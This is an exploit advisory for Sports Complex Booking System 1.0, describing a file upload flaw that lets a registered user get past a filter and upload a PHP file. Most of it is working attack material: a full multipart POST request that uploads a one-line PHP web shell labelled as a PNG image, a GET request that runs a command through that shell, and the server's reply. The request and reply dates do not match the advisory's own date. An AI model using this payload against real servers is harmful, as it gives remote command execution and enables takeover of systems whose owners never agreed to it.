Sports Complex Booking System 1.0 Shell Upload

`# Title: Sports Complex Booking System 1.0 Shell Upload  
# Author: Hejap Zairy  
# Date: 24.07.2022  
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload profile files  
  
php```  
window.displayImg = function(input,_this) {  
if (input.files && input.files[0]) {  
var reader = new FileReader();  
reader.onload = function (e) {  
$('#cimg').attr('src', e.target.result);  
_this.siblings('.custom-file-label').html(input.files[0].name)  
}  
  
reader.readAsDataURL(input.files[0]);  
}else{  
$('#cimg').attr('src', "<?php echo validate_image(isset($image_path) ? $image_path : "") ?>");  
_this.siblings('.custom-file-label').html("Choose file")  
}  
}  
```  
  
  
[+] Payload POST  
  
  
```  
POST /scbs/?p=manage_account HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738  
Content-Length: 882  
Origin: https://0day.gov  
Referer: https://0day.gov/scbs/  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productName"  
Hejap Zairy  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"  
Content-Type: image/png  
  
<?=`$_GET[515]`?>  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="submit"  
-----------------------------409902128312379197203124536738--  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /scbs/dist/img/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Sun, 20 Mar 2022 08:04:28 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Content-Length: 17  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
0day hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
  
# Proof and Exploit:  
https://i.imgur.com/us3lA1l.png  
`